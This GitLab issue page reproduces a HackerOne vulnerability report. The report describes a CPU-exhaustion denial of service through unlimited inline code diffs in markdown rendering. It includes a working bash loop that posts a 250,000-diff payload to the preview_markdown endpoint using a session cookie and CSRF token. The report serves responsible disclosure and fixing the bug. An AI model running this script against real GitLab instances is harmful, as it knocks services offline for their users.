Skip to content

DOS through markdown render caused by unlimited amount of code diffs in markdown

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2518563 by joaxcar on 2024-05-24, assigned to @cmaxim:

Report | How To Reproduce

Report

(This is one of the multiple subreports related to #2023684 where [@]gmyers asked me to seperate out these issues to their own reports)

Summary

When GitLab renders input text as markdown, it uses the banzai pipelines. The pipeline consists of multiple filters that either strip content or alter content based on certain rules.

There is an issue when these rules can be abused to expand a given payload in a way that causes high resource consumption and locks CPU threads at 100%. This is similar to how ReDoS issues work but this is not related to ReDoS, the issue stems from how the pipelines expand benine input into large outputs.

This has previously been fixed by limiting the number of hits for a certain rule. See the emoji expansion rule, which has a limit of 1000 emojis /lib/banzai/filter/emoji_filter.rb

The issue

Given a payload with 250000 code diffs {++}\n it will cause the CPU to lock in 100% for 1 minute and respond with a 500 Internal Server Error as the response.

Inline diffs are handled in this filter lib/banzai/filter/inline_diff_filter.rb and has no limitation

Steps to reproduce

Test this on a local instance!

  1. SSH to your local instance of Gitlab
  2. Install htop with apt-get update && apt-get install htop
  3. start htop with htop

Now log in to your instance
4. Log in
5. Got to https://gitlab.com/groups/new and create an a new group called test
6. In the new group create a project called test
7. Open devtools and run this snippet and note the value

document.getElementsByName('csrf-token')[0].content  
  1. Go to Application in devtools and open cookies and copy the value of _gitlab_session cookie
  2. Open a terminal and run this script (alter CSRF_TOKEN, COOKIE, SERVER and DURATION). This will make one request a second
COOKIE="<SESSION_COOKIE>"  
CSRF_TOKEN="<CSRF_TOKEN>"  
SERVER_URL="https://gitlab.example.com"  
DURATION=60

cat > json_payload.json <<EOF  
{"text": "$(printf -- '{++}\\n%.0s' {1..250000})"}  
EOF

for (( i=1; i<=DURATION; i++ ))  
do  
    # Make the curl request  
    curl --request POST -k \  
        --header "Cookie: _gitlab_session=$COOKIE;" \  
        --header "X-Csrf-Token: $CSRF_TOKEN" \  
        --header "Content-Type: application/json" \  
        -d [@]json_payload.json "$SERVER_URL/test/test/preview_markdown" &

    # Wait for 1 second  
    sleep 1  
done
  1. Look in htop and see all CPUs at 100%
  2. Try navigating in the GitLab instance and note you have a DOS delay of +10 seconds

Impact

Uncontrolled CPU resource consumption is caused by a low number of requests. Can keep an instance inaccessible with about 10 requests a minute. (tested on 1000 users reference architecture)

What is the current bug behavior?

There is no limit to the number inline diffs parsed and rendered

What is the expected correct behavior?

As with emojis, there needs to exist a limit to how many inline diffs are rendered

Output of checks

This bug happens on GitLab.com

Impact

Uncontrolled CPU resource consumption is caused by a low number of requests. Can keep an instance inaccessible with about 10 requests a minute. (tested on 1000 users reference architecture)

Impact

Uncontrolled CPU resource consumption is caused by a low number of requests. Can keep an instance inaccessible with about 10 requests a minute. (tested on 1000 users reference architecture)

How To Reproduce

Please add reproducibility information to this section: